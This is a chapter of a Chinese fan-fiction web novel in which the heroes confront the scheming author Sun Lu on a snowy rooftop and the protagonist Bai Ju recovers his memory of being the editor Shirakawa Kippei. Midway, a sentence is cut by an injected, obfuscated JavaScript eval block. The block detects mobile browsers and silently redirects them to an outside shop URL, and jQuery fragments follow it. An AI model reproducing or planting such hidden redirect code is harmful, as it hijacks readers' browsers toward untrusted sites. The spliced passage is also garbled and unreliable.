第四十五章白川桔平
空白文档的光芒在天台上散尽。
白桔和淇洋摔在雪地里。
两个人身上都带着伤，白桔的银白色装甲碎了大半，露出底下被血浸透的校服衬衫。
淇洋的深蓝色装甲也裂了好几道，速写本被他攥在手里，边角卷起来了，纸面皱巴巴的。
两个人撑着地面站起来，喘着气，目光越过天台的雪地，看向长椅的方向。
孙路还坐在那里。手里捏着牌，膝盖上摊着剩下的几张，旁边散落的牌已经被雪盖住了大半。
木南坐在长椅另一侧，墨染坐在中间。
那局斗地主已经打了一半，孙路的手里握着大小王、四个K，还剩一个三带一。
白桔走过去，站在长椅前面。
雪落在他肩膀上、头发上，他的呼吸在冷空气里凝成一团一团的白雾。
他看了一眼孙路手里的牌。
“孙路，”白桔说，“你已经赢了。”
孙路抬起头看着他，嘴角弯了一下。
他把手里那几张牌慢慢收拢，叠在一起，但没有放下。
“我不喜欢半场开香槟。”
白桔的手动得很快。
空白文档从腰带里抽出来，银白色的光芒在雪夜里亮了一瞬——他用尽全力把文档朝孙路的方向推过去。
但孙路像是早就料到了一样，身体微微一侧，那道光擦着他的肩膀划过去，击在长椅的靠背上，把木板打出一个凹坑。
孙路手里的牌散了一地。
红桃、黑桃、方块、梅花，落在雪地里，被风卷起来几片，翻了两个跟斗又落下去。
孙路低头看着那些散落的牌，然后慢慢站起来。
“短时间内使用两次空白文档，”孙路的声音很平，“对身体不好的。”
白桔没有回答。
他切了词条，金色的光芒从卡槽里弹出来——【牛来】。
一头棕色的牛凭空出现在天台上，从雪地里冲过去，肩胛骨撞在孙路的胸口上。
孙路被撞得往后倒下去，后背砸在雪地里，躺了两秒，然后他笑了一声，撑着雪地坐起来。
头发上沾着雪，外套上全是白色的碎屑，但他脸上的笑意没有散。
墨染从长椅上站起来，震惊道：“小白？！你怎么要打孙路叔叔？！”
木南也站了起来，手里的牌散在膝盖上，目光在白桔和孙路之间来回移动了一下，没有出声。
白桔站在雪地里，浑身是伤，呼吸急促，但他没有退。
“第十一本书，”他说，“就是现在的假面骑士同人文。”
“第十二本书，就是现实世界。对吗？”
孙路从雪地里站起来，拍了拍外套上的雪，挑了一下眉。
“哦？是青井把我背叛了啊。”
淇洋端着咖啡杯的手顿了一下。
他低头看了一眼手里的杯子——还冒着热气，是刚才从不知道什么地方端来的。
他抿了一口，然后从口袋里掏出一个亚克力牌，举起来朝孙路的方向亮了亮。
牌子上是面色颓废的青井淇洋，趴在桌上，嘴角挂着一道干掉的咖啡渍，旁边配了一行字：“我不要喝咖啡！！”
“不是他，”淇洋说，“他咖啡因过敏昏倒了。”
孙路的笑意收了一点，目光越过淇洋的肩膀，落在天台边缘那个不知什么时候出现的身影上。
三花从白桔他们背后走出来。
黑色的长大衣在雪夜里翻着，衣摆被风吹起来又落下。
他双手插在口袋里，嘴角挂着一个灿烂的笑容，微微歪了一下头。
“哈喽呀路酱。”
孙路的表情冷了一瞬。
“……三花。就知道你没那么好心。”
白桔往前站了一步。
他挡在孙路和木南之间，目光直直地看着孙路，声音又哑又稳：“木南，你说的没错。是会有居心叵测的人想要穿梭这些世界……”
“只不过不是小说人物，而是……作者本人。”
木南看着孙路，眼神里那点困惑彻底变成了确认。
他低声说了一句：“我就知道这个b……”
孙路笑了一下。没有否认。
白桔继续说下去：“一边利用我们收集实体书创造新世界，一边让那个紫色骑士研究让书里人物穿越的方法，对吗？”
墨染站在旁边，脸上的表情从震惊慢慢变成困惑：“可是……他穿越世界不是很简单吗？为什么要这么大费周折……”
三花替孙路回答了。
他靠在栏杆上，手指在栏杆上轻轻叩了两下：“因为我们路酱想让书里的他的四个K都去到现实世界，帮助他统治所有世界啊。”
墨染的嘴唇动了一下，没有说出话来。
白桔的目光没有离开孙路：“坏消息，他现在已经拿到了满格的力量。”
“只需要完结我们身处的这本假面骑士同人文，就该攻略第十二本书——现实世界了。”
木南猛地转过头看着孙路，瞳孔缩了一下：“所以到时候他在现实里也是上层叙事作者视角？！”
孙路没有回答。
他站在雪地里，双手插在外套口袋里，像在听别人讲一个关于别人的故事。
墨染的声音从旁边传来，带着一种不太真实的颤：“啊？孙路叔叔是大反派？？？？”
木南看了她一眼：“你们根据他的调性也该知道吧！！”
三花已经走到了墨染身边。
他伸手轻轻拉了拉墨染的袖子，声音放得很低：“我劝你回去保护一下实体书呢。”
墨染转头看着他，眼睛里还带着没散干净的惊愕：“？！！”
三花笑了一下：“我和你说过的，实体书很重要。”
墨染看了一眼白桔，又看了一眼淇洋，最后看了一眼孙路。
她咬了咬嘴唇，什么都没说，转身朝楼梯口跑去。
她的脚步声在雪地里很快地远去了，最后被风裹着圣诞夜的钟声盖过去。
天台上少了一个人。
木南往前迈了一步。他的黑色装甲还没有完全展开，但拳头已经攥紧了——然后他停住了。
孙路抬了一下手，一张卡片从他指间滑出来，银白色的光芒在空气中闪了一下。
木南的身体忽然僵住了，像一尊被定格在雪地里的雕像，保持着那个前倾的姿势，四肢沉重得抬不起来。
“NPC，”孙路收回手，“安静待着就好。”
木南的嘴唇动了动，但连声音都发不出来。
三花笑了一声，往前走了一步。
他刚迈出半步，地面忽然裂开一道暗红色的缝隙，诅咒的锁链从缝隙里钻出来，缠住了他的手脚，把他整个人钉在了天台的十字形金属架上。
“路酱喜欢这种啊……”
三花低头看了一眼自己身上的锁链，又抬头看了一眼孙路，脸上的笑意没有减。
孙路打了个哈欠，目光从木南移到三花，最后落在白桔和淇洋身上。
“主骑，二骑，请开始你们的文戏吧。”
雪更大了。
细密的雪片从灰白色的夜空里落下来，在天台的灯光里泛着细碎的光。
远处的圣诞钟声还在响，一声一声的，沉甸甸地落在雪地里。
白桔攥紧了拳头。
他的装甲已经碎了大半，手指上全是血迹和冻裂的伤口，但他站在那里，没有退。
“你的力量来源，”白桔的声音比他自己预想的更稳，“是我创造的那些词条吧。”
孙路点了点头。
“是啊。谢谢你在最后这一个书坑又创造出这么多词条，让我的力量达到了顶峰。”
“果然是……”白桔的声音哑了，“你真是下了好大的一盘棋啊。”
他往前迈了一步，雪被他踩出一声响。
“原本你想慢慢收集词条，但是因为木南的突然出现，你坐不住了，你开始了加速推主线。”
“所以你在后室书坑把王子酱拉进危险的层级，引发他的PTSD，好让那个青井淇洋出来。”
“你把王子酱的灵魂封印在亚克力板里，让那个冒牌货青井代替他——用冷暴力和精神力逼疯墨染。”
淇洋站在白桔旁边，咖啡杯不知什么时候已经空了。
他接话：“第十个书坑用清流元朔的小说，是为了让白桔以为可以拿到UR而多搓词条。”
“让墨染当BOSS是为了让他放弃实体书——这样词条都成不了永久的，就都是你的了。”
孙路点了点头，笑道：“yes。”
淇洋继续说：“之后你再逼白桔和青井在空白文档副本里内斗，生成大量词条。真是好算盘。”
孙路挠了挠头：“也没有啦。”
众人脚下忽然震动了一下。
整个天台都在晃。
远处传来玻璃碎裂的声音、车辆警报器的尖啸声、人群惊叫的呼喊。
白桔转头看向楼下的街道，整座城市的灯光在闪烁，像被
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17823546|211104||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
一只无形的手拨乱的电线，明灭不定。
天空的颜色在变，从灰白色变成一种不自然的暗紫色，又从暗紫色变成被烧过的焦黑色边缘。
世界在坍缩。
“你为什么要这么做啊！”白桔愤怒的指向远处，“我还以为你爱这个世界！”
孙路站在天台上，背后是正在碎裂的天空和城市的灯火。
“我就是很爱很爱这个世界啊，”他说，“所以才想让所有的世界都掌握在手中。”
“毕竟，人总是更爱属于自己的东西。”
白桔往前冲了半步，雪在他脚下溅开：“可是它现在正在摧毁啊！”
孙路抬起头，看着远处正在碎裂的天际线。
“不破不立罢了，”他说，“我真正想创造的，是现实世界的未来……其他的世界，毁掉就毁掉吧，我无所谓。”
白桔站在雪地里，被冻裂的伤口还在往外渗血，他整个人都在抖，看起来随时会碎掉一般。
“可是！”他的声音撕开了一条缝，“为什么是我啊？！”
“为什么？！为什么我糊里糊涂的成了你的帮凶？！”
孙路没有回答。
他站在那里面无表情，目光落在白桔身上，又像穿过白桔落在很远的地方。
“白↗川↘桔↗平↘！”
“↗↘↗↘↗↘”
三花的声音忽然响起来。
白桔猛地转头看向他。
“为什么你对现实世界的记忆只停留在许愿柳和一个亿？”
“为什么你能手搓词条？”
“为什么你心里想的明明很阴暗却总是做出正义的选择？”
三花的锁链在风雪里晃了一下，他整个人被钉在十字架上，但那双眼睛亮得过分。
“答案只有一个——”
“你真的是这个世界的假面骑士啊！！”
白桔的脑子里有什么东西炸开了。
像一块被冻了很久的冰面，从正中间裂开一道缝，裂纹向四面八方延伸出去，冰层底下的水涌上来，把整块冰顶碎了。
他扶住额头，眼前闪过一片一片的画面。
不是许愿柳。不是出租屋。不是孙路那句“你是我的主骑”。
是更早的。更久远的。
他站在一间办公室里。阳光从窗户照进来，桌上堆着稿纸和旧书。
他低头看着自己的手，手心里有一团银白色的光芒在跳动——那是他第一次搓出词条。
他看到自己在走廊里跑。稿纸在身后飞起来，像被风吹散的鸟群。
他喊着什么人的名字，但声音模糊了，听不清。
他看到自己站在一个深灰色的空间里，对面是一团扭曲的、蠕动的东西——书坑怪物。
他的手臂上裹着银白色的光芒，朝着那个东西冲过去。
【就这样，吞噬作者们灵感的书坑怪物被假面骑士白川编辑所消灭，作者们又可以徜徉在文学创作的海洋里。】
然后画面跳了。
他站在一扇门前。
他抬手敲了敲门。
“孙路先生……我是来帮您的，关于书坑怪物……”
门打开了。
里面的光线太亮，亮得什么都看不清。
他眼前一黑。
再亮起来的时候，他站在万达广场的文创店旁边，手里捏着一根折断的柳枝，脑海里有一个念头：“要是有一个亿就好了。”
然后，孙路的声音从身后传来。
“白桔，你这次的剧本是……”
“我的主骑。”
……
白桔跪在雪地里。
他扶着额头，手指插在被雪沾湿的头发里，整个人弓着背，像一座快要塌下去的桥。
雪落在他背上、肩上，一点一点地堆起来，薄薄的一层白。
他看到了。
他想起来了。
他本来就是白川桔平。一个普通的编辑。某一天获得了手搓引导性词条的能力，开始在异次元空间里与吞噬作者灵感的书坑怪物战斗。
他最后的真实记忆——是去见一个被书坑怪物困扰的作者。
那个作者叫孙路。
门打开了。
然后他什么都不知道了。
白桔跪在雪地里，很久没有动。
风雪从他两侧穿过去，把他弓着的背影吹得摇晃了一下，但没有倒下。
淇洋站在他旁边，低头看着他。
天台上安静了很久。
只有雪落的声音。